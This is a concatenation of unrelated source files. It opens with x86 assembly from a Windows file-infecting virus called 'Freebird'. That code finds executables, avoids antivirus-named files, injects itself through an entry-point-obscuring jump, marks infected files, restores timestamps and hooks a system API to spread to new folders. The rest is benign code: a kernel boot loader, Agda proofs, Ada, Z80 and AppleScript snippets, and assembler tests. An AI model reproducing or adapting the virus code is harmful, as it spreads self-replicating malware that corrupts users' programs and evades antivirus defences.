infectionErrorCloseUnmapZIP: push dword [mapMem+ebp] call dword [_UnmapViewOfFile+ebp] infectionErrorCloseMapZIP: push dword [fhmap+ebp] call dword [_CloseHandle+ebp] lea eax,[fileTime2+ebp] push eax add eax,-8 push eax add eax,-8 push eax push dword [fHnd+ebp] call dword [_SetFileTime+ebp] infectionErrorCloseZIP: push dword [fHnd+ebp] call dword [_CloseHandle+ebp] infectionErrorAttribZIP: pop esi push dword [fileAttrib+ebp] push esi call dword [_SetFileAttributesA+ebp] infectionErrorZIP: ret ; - archive.inc EOF - ; - findf.inc BOF - ; ; Simply scan current folder for files to infect ; scandirpe: lea eax,[finddata+ebp] push eax lea eax,[fmask+ebp] push eax call dword [_FindFirstFileA+ebp] inc eax jz near notFound dec eax mov dword [findHnd+ebp],eax findNext: mov eax,dword [nFileSizeLow+ebp] ; avoid small files cmp eax,4000h jb near skipThisFile mov ecx,PADDING ; avoid already xor edx,edx ; infected files div ecx or edx,edx jz near skipThisFile lea esi,[cFileName+ebp] call isAV jc near skipThisFile mov eax,[_SfcIsFileProtected+ebp] ; we have sfc? or eax,eax jz near sfcNotAvailable ; hehe i've noticed SfcIsFileProtected requires ; a wide string not the ansi one... shit ; moreover sfc only manages full path names :/ ; i'm glad with win2000 to test all this things =] push dword 260 ; 260 wide chars lea edi,[wideBuffer+ebp] push edi ; wide buffer xor eax,eax dec eax push eax ; -1 (zstring) push esi ; ANSI inc eax push eax ; 0 push eax ; CP_ACP == 0 call dword [_MultiByteToWideChar+ebp] or eax,eax jz skipThisFile ; damn lea esi,[dummy+ebp] push esi lea esi,[wideBuffer2+ebp] push esi push dword 260 lea esi,[wideBuffer+ebp] push esi call dword [_GetFullPathNameW+ebp] or eax,eax jz skipThisFile ; damn (2) lea esi,[wideBuffer2+ebp] push esi push dword 0 call dword [_SfcIsFileProtected+ebp] ; check this file or eax,eax jnz skipThisFile sfcNotAvailable: lea esi,[cFileName+ebp] call infectpe skipThisFile: lea eax,[finddata+ebp] push eax push dword [findHnd+ebp] call dword [_FindNextFileA+ebp] or eax,eax jnz near findNext endScan: push dword [findHnd+ebp] call dword [_FindClose+ebp] notFound: ret ; make the ASCII string uppercase and look for some stringz usual in ; antiviral software to avoid infect them isAV: push esi UCaseLoop: cmp byte [esi],'a' jb notUCase cmp byte [esi],'z' ja notUCase sub byte [esi],'a'-'A' notUCase: lodsb or al,al jnz UCaseLoop mov esi,[esp] avStrLoop: mov ax,word [esi] not ax cmp ax,~'AV' je itIsAV cmp ax,~'DR' je itIsAV cmp ax,~'SP' je itIsAV cmp ax,~'F-' je itIsAV cmp ax,~'AN' je itIsAV cmp ax,~'VE' je itIsAV cmp ax,~'CL' je itIsAV cmp ax,~'ON' je itIsAV not ax inc esi or ah,ah jnz avStrLoop clc mov al,0f9h itIsAV equ $-1 pop esi ret ; - findf.inc EOF - ; - hooks.inc BOF - hookmtx dd 0 ; mutex for multi-threading calls hookDll db "USER32",0 hookFc1 db "PostQuitMessage",0 ; ; Just check for directory changes and infect then all files there. ; setupPerProcess: lea eax,[hookDll+ebp] push eax call dword [_LoadLibraryA+ebp] or eax,eax jz failedToHook lea esi,[hookFc1+ebp] push esi push eax call dword [_GetProcAddress+ebp] mov ecx,eax mov [PostQuitMessageHA+ebp],eax lea esi,[PostQuitMessageH+ebp] call APIHook xor eax,eax mov [hookmtx+ebp],eax ; hook ready failedToHook: ret ; ; the hook ; PostQuitMessageH: push dword 12345678h PostQuitMessageHA equ $-4 pushad ; save all pushfd call getDelta mov eax,[hookmtx+ebp] ; ready to infect? or eax,eax jnz hookFailed inc dword [hookmtx+ebp] ; do not disturb ; path0 has current work directory lea esi,[path1+ebp] push esi push dword 260 call dword [_GetCurrentDirectoryA+ebp] or eax,eax jz endHook mov ecx,eax ; if we're still into lea esi,[path0+ebp] ; the same folder, avoid lea edi,[path1+ebp] ; infect more files rep cmpsb je endHook mov ecx,eax ; update folder lea esi,[path1+ebp] lea edi,[path0+ebp] rep movsb call scandirpe ; infect new work ; folder call findArchives endHook: dec dword [hookmtx+ebp] ; ready again hookFailed: popfd popad ret ; ; My nice (and old) API hook routine. ; APIHook: push esi mov edx,[baseAddr+ebp] ; remember to fix it after ; (probably) reloc! mov edi,edx add edi,[edx+3ch] ; begin PE header mov edi,[edi+80h] ; RVA import or edi,edi ; uh? no imports??? :) jz near _skipHookErr add edi,edx ; add base addr _searchusrImp: mov esi,[edi+0ch] ; get name or esi,esi ; check is not last jz _skipHookErr add esi,edx ; add base addr mov ebx,[esi] or ebx,20202020h cmp ebx,"user" ; look for module jne _nextName mov bx,[esi+4] cmp bx,"32" ; module found je _usrImpFound _nextName: ; if not found check add edi,14h ; name of next import mov esi,[edi] ; module or esi,esi jz _skipHookErr jmp _searchusrImp _usrImpFound: ; now we have user32 mov esi,[edi+10h] ; get address table or esi,esi ; heh jz _skipHookErr add esi,edx ; add base addr again mov edi,ecx ; search for API _nextImp: lodsd ; get addrs or eax,eax ; chek is not last jz _skipHookErr cmp eax,edi ; cmp with API addr je _doHook ; found? hook! jmp _nextImp ; check next in table _doHook: sub esi,4 push esi ; save import addr call dword [_GetCurrentProcess+ebp] pop esi pop edx mov [fileSize+ebp],edx ; tmp storage lea edi,[padding+ebp] push edi ; shit push dword 4 lea edi,[fileSize+ebp] push edi ; bytes to write push esi ; where to write push eax ; current process call dword [_WriteProcessMemory+ebp] _skipHook: ret _skipHookErr: pop esi xor eax,eax ret ; - hooks.inc EOF - ; - infectpe.inc BOF - ; pretty standard padding value, the idea is several viruses use the ; same value to avoid av can use easy ways to manage them PADDING equ 101 infectpe: push esi push esi call dword [_GetFileAttributesA+ebp] pop esi inc eax jz near infectionError dec eax mov dword [fileAttrib+ebp],eax push esi push dword 80h push esi call dword [_SetFileAttributesA+ebp] pop esi or eax,eax jz near infectionError push esi xor eax,eax push eax push dword 80h push dword 3 push eax push eax push dword (80000000h | 40000000h) push esi call dword [_CreateFileA+ebp] inc eax jz near infectionErrorAttrib dec eax mov [fHnd+ebp],eax push dword 0 push eax call dword [_GetFileSize+ebp] inc eax jz near infectionErrorClose dec eax mov [fileSize+ebp],eax lea eax,[fileTime2+ebp] push eax add eax,-8 push eax add eax,-8 push eax push dword [fHnd+ebp] call dword [_GetFileTime+ebp] or eax,eax jz near infectionErrorClose xor eax,eax push eax push eax push eax push dword 4 push eax push dword [fHnd+ebp] call dword [_CreateFileMappingA+ebp] or eax,eax jz near infectionErrorClose mov dword [fhmap+ebp],eax xor eax,eax push eax push eax push eax push dword 6 push dword [fhmap+ebp] call dword [_MapViewOfFile+ebp] or eax,eax jz near infectionErrorCloseMap mov [mapMem+ebp],eax mov edi,eax cmp word [edi],'MZ' jne near infectionErrorCloseUnmap add edi,[edi+3ch] cmp eax,edi jae near infectionErrorCloseUnmap add eax,[fileSize+ebp] cmp eax,edi jbe near infectionErrorCloseUnmap cmp word [edi],'PE' jne near infectionErrorCloseUnmap movzx edx,word [edi+16h] test edx,2h jz near infectionErrorCloseUnmap test edx,2000h jnz near infectionErrorCloseUnmap mov dx,[edi+5ch] dec edx jz near infectionErrorCloseUnmap mov esi,edi mov eax,18h add ax,[edi+14h] add edi,eax mov cx,[esi+06h] dec cx mov eax,28h mul cx add edi,eax mov eax,dword [esi+80h] ; 1st we need just one or eax,eax ; import from k32 jz near infectionErrorCloseUnmap call rva2raw jc near infectionErrorCloseUnmap add eax,[mapMem+ebp] xchg eax,edx k32imploop: mov eax,dword [edx+0ch] or eax,eax jz near infectionErrorCloseUnmap call rva2raw jc near infectionErrorCloseUnmap add eax,[mapMem+ebp] mov ebx,dword [eax] or ebx,20202020h cmp ebx,'kern' jne nextImpMod mov ebx,dword [eax+4] or ebx,00002020h cmp ebx,'el32' je k32ImpFound nextImpMod: add edx,14h mov eax,dword [edx] or eax,eax jz near infectionErrorCloseUnmap jmp k32imploop k32ImpFound: mov eax,[edx+10h] or eax,eax jz near infectionErrorCloseUnmap mov edx,eax call rva2raw jc near infectionErrorCloseUnmap add eax,[mapMem+ebp] mov eax,[eax] or eax,eax jz near infectionErrorCloseUnmap add edx,[esi+34h] mov [__imp__+ebp],edx ; we got 1st import ; that will be used to ; get k32 addr in run-time mov eax,[edi+14h] add eax,[edi+10h] mov [virusBeginRaw+ebp],eax mov eax,[edi+0ch] ; sect rva add eax,[edi+10h] ; sect raw size mov [relocTMP+ebp],eax mov ecx,[esi+34h] mov [baseAddr+ebp],ecx add [relocTMP+ebp],ecx mov eax,[esi+28h] mov [hostEPTMP+ebp],eax ; reloc and EP ok, now EPO call rva2raw jc near infectionErrorCloseUnmap add eax,[mapMem+ebp] ; we look for... ; ; mov [fs:00000000],esp ; or... ; ; mov esp,ebp ; pop ebp ; ret ; db ffh,ffh,ffh,ffh ; or db 00h,00h,00h,00h ; ; and that's ok. ; push eax mov ecx,200h checkNextAddr: inc eax cmp dword [eax],00258964h jne addrNotFound0 cmp dword [eax+3],00000000h je addrFound addrNotFound0: cmp dword [eax],0c35de58bh jne addrNotFound1 cmp dword [eax+4],-1 je addrFound cmp dword [eax+4],0 je addrFound addrNotFound1: dec ecx jnz checkNextAddr pop eax push eax addrFound: pop edx sub eax,edx mov edx,eax add edx,[esi+34h] add eax,[hostEPTMP+ebp] add [hostEPTMP+ebp],edx call rva2raw jc near infectionErrorCloseUnmap add eax,[mapMem+ebp] push esi push edi mov esi,eax push esi lea edi,[epobuffTMP+ebp] mov ecx,5 rep movsb pop edi mov al,0e9h stosb mov eax,[relocTMP+ebp] sub eax,[hostEPTMP+ebp] sub eax,5 stosd pop edi pop esi xor eax,eax mov [esi+58h],eax or dword [edi+24h],0c0000000h and dword [edi+24h],~(02000000h | 10000000h) mov eax,vSize add eax,[edi+10h] ; raw size xor edx,edx mov ecx,[esi+3ch] div ecx inc eax xor edx,edx mul ecx mov [edi+10h],eax ; size of raw data mov eax,viSize add eax,[edi+10h] ; virt size xor edx,edx mov ecx,[esi+38h] div ecx inc eax xor edx,edx mul ecx mov [edi+08h],eax ; size of virt data add eax,[edi+0ch] mov [esi+50h],eax ; size of image mov eax,[edi+10h] ; calc file size add eax,[edi+14h] ; with padding mov ecx,PADDING xor edx,edx div ecx inc eax xor edx,edx mul ecx mov [padding+ebp],eax push dword [mapMem+ebp] call dword [_UnmapViewOfFile+ebp] push dword [fhmap+ebp] call dword [_CloseHandle+ebp] xor eax,eax push eax push dword [padding+ebp] push eax push dword 4 push eax push dword [fHnd+ebp] call dword [_CreateFileMappingA+ebp] or eax,eax jz near infectionErrorClose mov [fhmap+ebp],eax xor eax,eax push dword [padding+ebp] push eax push eax push dword 6 push dword [fhmap+ebp] call dword [_MapViewOfFile+ebp] or eax,eax jz near infectionErrorCloseMap mov [mapMem+ebp],eax pushad lea esi,[vBegin+ebp] mov edi,vSize-4 call CRC32 mov [myCRC32+ebp],eax popad mov ecx,vSize lea esi,[vBegin+ebp] mov edi,12345678h virusBeginRaw equ $-4 add edi,eax rep movsb mov eax,dword [_CheckSumMappedFile+ebp] or eax,eax jz infectionErrorCloseUnmap lea esi,[chksum+ebp] push esi sub esi,-4 push esi push dword [padding+ebp] push dword [mapMem+ebp] call eax or eax,eax jz infectionErrorCloseUnmap mov edx,dword [chksum+ebp] mov dword [eax+58h],edx infectionErrorCloseUnmap: push dword [mapMem+ebp] call dword [_UnmapViewOfFile+ebp] infectionErrorCloseMap: push dword [fhmap+ebp] call dword [_CloseHandle+ebp] lea eax,[fileTime2+ebp] push eax add eax,-8 push eax add eax,-8 push eax push dword [fHnd+ebp] call dword [_SetFileTime+ebp] infectionErrorClose: push dword [fHnd+ebp] call dword [_CloseHandle+ebp] infectionErrorAttrib: pop esi push dword [fileAttrib+ebp] push esi call dword [_SetFileAttributesA+ebp] infectionError: ret ; ESI: PE header EAX: rva shit ; out EAX: raw rva2raw: push eax pushad mov edx,esi mov ecx,edx mov esi,eax mov eax,18h add ax,[edx+14h] add edx,eax movzx ecx,word [ecx+06h] xor ebp,ebp rva2rawLoop: mov edi,[edx+ebp+0ch] add edi,[edx+ebp+8] cmp esi,edi jb foundDamnSect nextSectPlz: add ebp,28h loop rva2rawLoop popad pop eax stc ret foundDamnSect: sub esi,[edx+ebp+0ch] add esi,[edx+ebp+14h] mov dword [esp+20h],esi popad pop eax clc ret ; - infectpe.inc EOF - ; END OF FREEBIRD.TXT
boot/setup16.asm
phaubertin/jinue
2
29467
<filename>boot/setup16.asm<gh_stars>1-10 ; Copyright (C) 2019 <NAME>. ; All rights reserved. ; ; Redistribution and use in source and binary forms, with or without ; modification, are permitted provided that the following conditions ; are met: ; ; 1. Redistributions of source code must retain the above copyright ; notice, this list of conditions and the following disclaimer. ; ; 2. Redistributions in binary form must reproduce the above copyright ; notice, this list of conditions and the following disclaimer in the ; documentation and/or other materials provided with the distribution. ; ; 3. Neither the name of the author nor the names of other contributors ; may be used to endorse or promote products derived from this software ; without specific prior written permission. ; ; THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS "AS IS" AND ; ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED ; WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE ; DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE FOR ANY ; DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES ; (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; ; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ; ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT ; (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS ; SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. #include <jinue-common/asm/e820.h> #include <jinue-common/asm/vm.h> #include <hal/asm/boot.h> #include <hal/asm/descriptors.h> #include <hal/asm/pic8259.h> %define CODE_SEG 1 %define DATA_SEG 2 %define SETUP_SEG 3 bits 16 ; defined by linker - see image.lds linker script extern setup_size_div512 extern kernel_size_div16 bootsect_start: times BOOT_E820_ENTRIES -($-$$) db 0 e820_entries: db 0 times BOOT_SETUP_SECTS -($-$$) db 0 setup_sects: db setup_size_div512 root_flags: dw 1 sysize: dd kernel_size_div16 ram_size: dw 0 vid_mode: dw 0xffff root_dev: dw 0 signature: dw BOOT_MAGIC jmp short start header: db "HdrS" version: dw 0x0204 realmode_swtch: dd 0 start_sys: dw 0x1000 kernel_version: dw str_version type_of_loader: db 0 loadflags: db 1 setup_move_size: dw 0 code32_start: dd BOOT_SETUP32_ADDR ramdisk_image: dd 0 ramdisk_size: dd 0 bootsect_kludge: dd 0 heap_end_ptr: dw 0 pad1: dw 0 cmd_line_ptr: dd 0 initrd_addr_max: ramdisk_max: dd BOOT_RAMDISK_LIMIT - 1 start: ; Setup the segment registers mov ax, ds mov fs, ax mov gs, ax ; Use a far return to set cs to the same value as ds push ds push just_here retf just_here: ; Compute the setup code start address movzx eax, ax shl eax, 4 ; Push the real mode code start address (setup code start address - 0x200) ; on the stack for later push eax ; Determine the address of the GDT mov ebx, eax add ebx, gdt mov [gdt_info.addr], ebx ; Patch the GDT or eax, dword [gdt.setup+2] mov [gdt.setup+2], eax ; Activate the A20 gate call enable_a20 ; Get memory map call bios_e820 ; Load GDT and IDT registers lgdt [gdt_info] lidt [gdt.null+2] ; A bunch of zeros, properly aligned ; Reset the floating-point unit call reset_fpu ; Mask all external interrupts mov al, 0xff out PIC8259_SLAVE_BASE + 1, al call iodelay mov al, 0xff & ~(1<<PIC8259_CASCADE_INPUT) out PIC8259_MASTER_BASE + 1, al call iodelay ; Disable interrupts cli ; Enter protected mode mov eax, cr0 or eax, 1 mov cr0, eax ; Clear cache jmp short next next: ; Jump far to set CS jmp dword SEG_SELECTOR(SETUP_SEG, RPL_KERNEL):code_32 code_32: ; Setup the stack pointer movzx esp, sp mov ax, ss movzx eax, ax shl eax, 4 add esp, eax ; Setup the segment registers mov ax, SEG_SELECTOR(DATA_SEG, RPL_KERNEL) mov ds, ax mov es, ax mov fs, ax mov gs, ax mov ss, ax ; Restore real mode code start address and pass to kernel in esi pop esi ; Jump to the kernel entry point jmp dword SEG_SELECTOR(CODE_SEG, RPL_KERNEL):BOOT_SETUP32_ADDR ; This adds only a few bytes (or none). The main reason for this line is to ; ensure an error is generated (TIMES value is negative) if the code above ; crosses into the e820 memory map. times BOOT_E820_MAP -($-$$) db 0 ;------------------------------------------------------------------------ ; E820 Memory map ; ; The e820 memory map starts here. The code below gets overwritten by the ; memory map. Only code that runs *before* the memory map is generated ; should go here. ;------------------------------------------------------------------------ e820_map: ;------------------------------------------------------------------------ ; FUNCTION: check_a20 ; DESCRIPTION: Check if A20 gate is activated. Return with ZF=0 if it ; is. ;------------------------------------------------------------------------ check_a20: ; Save segment registers push ds push es ; Setup the segment registers ; If A20 is disabled, ds:0x00 (0000+00) is the same as es:0x10 (FFFF0+10) xor ax, ax mov ds, ax ; 0x0000 dec ax mov es, ax ; 0xFFFF ; Save everything. This is especially important for es:0x10 since it's the ; kernel code we are playing with... push dword [ds:0] mov eax, [es:0x10] push eax ; Since we will be playing around with the interrupt vector table, lets not ; take chances cli mov cx, 0xFF .loop: inc eax mov [ds:0], eax call iodelay cmp eax, [es:0x10] loopz .loop ; Restore memory content pop dword [es:0x10] pop dword [ds:0] ; Restore segment registers pop es pop ds sti ret ;------------------------------------------------------------------------ ; FUNCTION: enable_a20 ; DESCRIPTION: Activate the A20 gate. ;------------------------------------------------------------------------ enable_a20: ; If we are lucky, there is nothing to do... call check_a20 jnz .done ; Lets politely ask the BIOS to do this for us mov ax, 0x2401 int 0x15 call check_a20 jnz .done ; Next, try using the keyboard controller call .empty_8042 mov al, 0xd1 out 0x64, al call .empty_8042 mov al, 0xdf out 0x60, al call .empty_8042 call check_a20 jnz .done ; Last resort: fast A20 gate in al, 0x92 test al, 2 jnz .no_use or al, 2 out 0x92, al call check_a20 jnz .done .no_use: jmp short .no_use .done: ret .empty_8042: call iodelay in al, 0x64 test al, 2 jnz .empty_8042 ret ; Skip to end of e820 memory map times BOOT_E820_MAP_END-($-$$) db 0 ;------------------------------------------------------------------------ ; End of E820 Memory map ; ; Code below is safe: it does not get overwritten by the e820 memory map. ;------------------------------------------------------------------------ e820_map_end: ;------------------------------------------------------------------------ ; FUNCTION: iodelay ; DESCRIPTION: Wait for about 1 µs. ;------------------------------------------------------------------------ iodelay: out 0x80, al ret ;------------------------------------------------------------------------ ; FUNCTION: bios_e820 ; DESCRIPTION: Obtain physical memory map from BIOS. ;------------------------------------------------------------------------ bios_e820: mov di, e820_map ; Buffer (start of memory map) mov ebx, 0 ; Continuation set to 0 cld .loop: mov eax, 0xe820 ; Function number e820 mov ecx, 20 ; Size of buffer, in bytes mov edx, E820_SMAP ; Signature int 0x15 jc .exit ; Carry flag set indicates error or end of map cmp eax, E820_SMAP ; EAX should contain signature jne .exit cmp ecx, 20 ; 20 bytes should have been returned jne .exit add di, 20 ; Go to next entry in memory map or ebx, ebx ; EBX (continuation) may be set to 0 if this is the jz .exit ; last entry of the map. Alternatively, the carry ; flag my be set on the next call instead. ; ; BUG FIX: EBX = 0 marks the last valid entry of the ; map. This check must be done *after* updating di ; to ensure a correct entry count. mov ax, di ; Check that we can still fit one more entry add ax, 20 cmp ax, e820_map_end jbe .loop .exit: ; Compute number of entries mov ax, di ; Size is end ... sub ax, e820_map ; ... minus start xor dx, dx ; High 16-bits of dx:ax (i.e. dx) are zero mov bx, 20 ; Divide by 20 div bx ; Set number of entries mov byte [BOOT_E820_ENTRIES], al ret ;------------------------------------------------------------------------ ; FUNCTION: reset_fpu ; DESCRIPTION: Reset the floating-point unit. ;------------------------------------------------------------------------ reset_fpu: xor ax, ax out 0xf0, al call iodelay out 0xf1, al call iodelay ret ;------------------------------------------------------------------------ ; Data section ;------------------------------------------------------------------------ str_version: db "Test kernel v0.0", 0 ;------------------------------------------------------------------------ ; Global Descriptor Table (minimal) ;------------------------------------------------------------------------ align 16 gdt: .null: dd 0, 0 .code: dw 0xffff, 0, 0x9a00, 0x00cf .data: dw 0xffff, 0, 0x9200, 0x00cf .setup: dw 0xffff, 0, 0x9a00, 0x0000 .end: align 4 dw 0 gdt_info: .limit: dw gdt.end - gdt - 1 .addr: dd 0 ; Patched in later align 512
data/battle/set_damage_effects.asm
opiter09/ASM-Machina
1
29246
<gh_stars>1-10 SetDamageEffects: ; moves that do damage but not through normal calculations ; e.g., Super Fang, Psywave db SUPER_FANG_EFFECT db SPECIAL_DAMAGE_EFFECT db -1 ; end
source/league/matreshka-json_documents.ads
svn2github/matreshka
24
12630
------------------------------------------------------------------------------ -- -- -- Matreshka Project -- -- -- -- Localization, Internationalization, Globalization for Ada -- -- -- -- Runtime Library Component -- -- -- ------------------------------------------------------------------------------ -- -- -- Copyright © 2013, <NAME> <<EMAIL>> -- -- All rights reserved. -- -- -- -- Redistribution and use in source and binary forms, with or without -- -- modification, are permitted provided that the following conditions -- -- are met: -- -- -- -- * Redistributions of source code must retain the above copyright -- -- notice, this list of conditions and the following disclaimer. -- -- -- -- * Redistributions in binary form must reproduce the above copyright -- -- notice, this list of conditions and the following disclaimer in the -- -- documentation and/or other materials provided with the distribution. -- -- -- -- * Neither the name of the Vadim Godunko, IE nor the names of its -- -- contributors may be used to endorse or promote products derived from -- -- this software without specific prior written permission. -- -- -- -- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -- -- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -- -- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -- -- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -- -- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -- -- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED -- -- TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR -- -- PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF -- -- LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING -- -- NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS -- -- SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -- -- -- ------------------------------------------------------------------------------ -- $Revision$ $Date$ ------------------------------------------------------------------------------ with Matreshka.Atomics.Counters; with Matreshka.JSON_Types; package Matreshka.JSON_Documents is pragma Preelaborate; type Shared_JSON_Document is limited record Counter : Matreshka.Atomics.Counters.Counter; Array_Value : Matreshka.JSON_Types.Shared_JSON_Array_Access; Object_Value : Matreshka.JSON_Types.Shared_JSON_Object_Access; end record; type Shared_JSON_Document_Access is access all Shared_JSON_Document; Empty_Shared_JSON_Document : aliased Shared_JSON_Document := (Counter => <>, Array_Value => null, Object_Value => null); procedure Reference (Self : not null Shared_JSON_Document_Access); -- Increments internal reference counter. procedure Dereference (Self : in out Shared_JSON_Document_Access); -- Decrements internal reference counter and deallocates shared document -- when counter reach zero. Sets Self to null. procedure Mutate (Self : in out not null Shared_JSON_Document_Access); -- Mutate object: new shared object is allocated when reference counter is -- greater than one, reference counter of original object is decremented -- and original value is copied. Otherwise, shared object is unchanged. end Matreshka.JSON_Documents;
libsrc/target/sam/graphics/w_pointxy.asm
ahjelm/z88dk
640
161784
SECTION code_clib PUBLIC w_pointxy EXTERN pointxy_MODE0 EXTERN pointxy_MODE2 EXTERN pointxy_MODE3 EXTERN pointxy_MODE4 EXTERN __zx_screenmode defc NEEDpointxy = 1 w_pointxy: ld a,(__zx_screenmode) and a jp z,pointxy_MODE0 dec a jp z,pointxy_MODE2 dec a jp z,pointxy_MODE3 jp pointxy_MODE4
Cubical/Algebra/Group/Instances/IntMod.agda
FernandoLarrain/cubical
1
3837
{-# OPTIONS --safe #-} module Cubical.Algebra.Group.Instances.IntMod where open import Cubical.Foundations.Prelude open import Cubical.Foundations.Isomorphism open import Cubical.Algebra.Group.Instances.Int open import Cubical.Algebra.Group.Base open import Cubical.Algebra.Monoid.Base open import Cubical.Algebra.Semigroup.Base open import Cubical.Data.Empty renaming (rec to ⊥-rec) open import Cubical.Data.Bool open import Cubical.Data.Fin open import Cubical.Data.Fin.Arithmetic open import Cubical.Data.Nat open import Cubical.Data.Nat.Order open import Cubical.Algebra.Group.Instances.Unit renaming (Unit to UnitGroup) open import Cubical.Algebra.Group.Instances.Bool renaming (Bool to BoolGroup) open import Cubical.Algebra.Group.MorphismProperties open import Cubical.Algebra.Group.Morphisms open import Cubical.Foundations.HLevels open import Cubical.Data.Sigma open GroupStr open IsGroup open IsMonoid ℤ/_ : ℕ → Group₀ ℤ/ zero = UnitGroup fst (ℤ/ suc n) = Fin (suc n) 1g (snd (ℤ/ suc n)) = 0 GroupStr._·_ (snd (ℤ/ suc n)) = _+ₘ_ inv (snd (ℤ/ suc n)) = -ₘ_ IsSemigroup.is-set (isSemigroup (isMonoid (isGroup (snd (ℤ/ suc n))))) = isSetFin IsSemigroup.assoc (isSemigroup (isMonoid (isGroup (snd (ℤ/ suc n))))) = λ x y z → sym (+ₘ-assoc x y z) fst (identity (isMonoid (isGroup (snd (ℤ/ suc n)))) x) = +ₘ-rUnit x snd (identity (isMonoid (isGroup (snd (ℤ/ suc n)))) x) = +ₘ-lUnit x fst (inverse (isGroup (snd (ℤ/ suc n))) x) = +ₘ-rCancel x snd (inverse (isGroup (snd (ℤ/ suc n))) x) = +ₘ-lCancel x ℤ/1≅Unit : GroupIso (ℤ/ 1) UnitGroup ℤ/1≅Unit = contrGroupIsoUnit isContrFin1 Bool≅ℤ/2 : GroupIso BoolGroup (ℤ/ 2) Iso.fun (fst Bool≅ℤ/2) false = 1 Iso.fun (fst Bool≅ℤ/2) true = 0 Iso.inv (fst Bool≅ℤ/2) (zero , p) = true Iso.inv (fst Bool≅ℤ/2) (suc zero , p) = false Iso.inv (fst Bool≅ℤ/2) (suc (suc x) , p) = ⊥-rec (¬-<-zero (predℕ-≤-predℕ (predℕ-≤-predℕ p))) Iso.rightInv (fst Bool≅ℤ/2) (zero , p) = Σ≡Prop (λ _ → m≤n-isProp) refl Iso.rightInv (fst Bool≅ℤ/2) (suc zero , p) = Σ≡Prop (λ _ → m≤n-isProp) refl Iso.rightInv (fst Bool≅ℤ/2) (suc (suc x) , p) = ⊥-rec (¬-<-zero (predℕ-≤-predℕ (predℕ-≤-predℕ p))) Iso.leftInv (fst Bool≅ℤ/2) false = refl Iso.leftInv (fst Bool≅ℤ/2) true = refl snd Bool≅ℤ/2 = makeIsGroupHom λ { false false → refl ; false true → refl ; true false → refl ; true true → refl} ℤ/2≅Bool : GroupIso (ℤ/ 2) BoolGroup ℤ/2≅Bool = invGroupIso Bool≅ℤ/2
zip-to-sublime-package.applescript
AlexanderGalen/applescripts
3
2706
<gh_stars>1-10 tell application "Finder" set thisSelection to selection as alias set thisSelectionString to thisSelection as string set thisFilePath to characters 1 thru ((length of thisSelectionString) - 1) of thisSelectionString as string set thisDestinationPath to quoted form of POSIX path of (thisFilePath & ".sublime-package") set thisFilePath to quoted form of POSIX path of thisFilePath end tell do shell script "zip -r " & thisDestinationPath & " " & thisFilePath
tests/relocate/relocation_0000_region.asm
fengjixuchui/sjasmplus
220
20509
<filename>tests/relocate/relocation_0000_region.asm<gh_stars>100-1000 ; the implementation is providing alternate label values being offset by -0x0201 ; to their real value. This test does try relocation blocks near beginnging and end ; of memory regions to verify that there is no connection between the -0x201 offset ; and assembling results (there should not be). ORG 0 RELOCATE_START label1: DW label2 label2: ld hl,label1 ld de,(label1) ld bc,label2 - label1 call label1 rst $08 RELOCATE_TABLE ; first copy of relocate table ; try ORG within the same block, try end region of memory ORG $FFF8 label3: jp label2 dw label3 - label1 dw label3 ; check crossing memory limit by instruction in relocation block ; this emits "incosistent warning" because the table was already emitted ; but with truncated 0x0000 value, while the new value to be inserted ; is 0x10000 call label3 RELOCATE_END ; second copy of relocation table, make it fill memory up to 64kiB boundary ORG $10000 - relocate_size RELOCATE_TABLE ; third copy of relocation table, make it leak 1B beyond 0x10000 ORG $10000 - relocate_size + 1 RELOCATE_TABLE
alloy4fun_models/trainstlt/models/9/RT4af3iwaLnjDscTD.als
Kaixi26/org.alloytools.alloy
0
4566
<gh_stars>0 open main pred idRT4af3iwaLnjDscTD_prop10 { always (all j:Junction | some prox.j and lone((prox.j).signal :> Green )) } pred __repair { idRT4af3iwaLnjDscTD_prop10 } check __repair { idRT4af3iwaLnjDscTD_prop10 <=> prop10o }
test/Fail/Issue1609a.agda
cruhland/agda
1,989
7192
<filename>test/Fail/Issue1609a.agda -- Andreas, 2015-07-13 Better parse errors for illegal type signatures A : Set where B = C
engine/src/main/antlr4/com/impossibl/stencil/engine/parsing/StencilParser.g4
quaff/stencil
3
4191
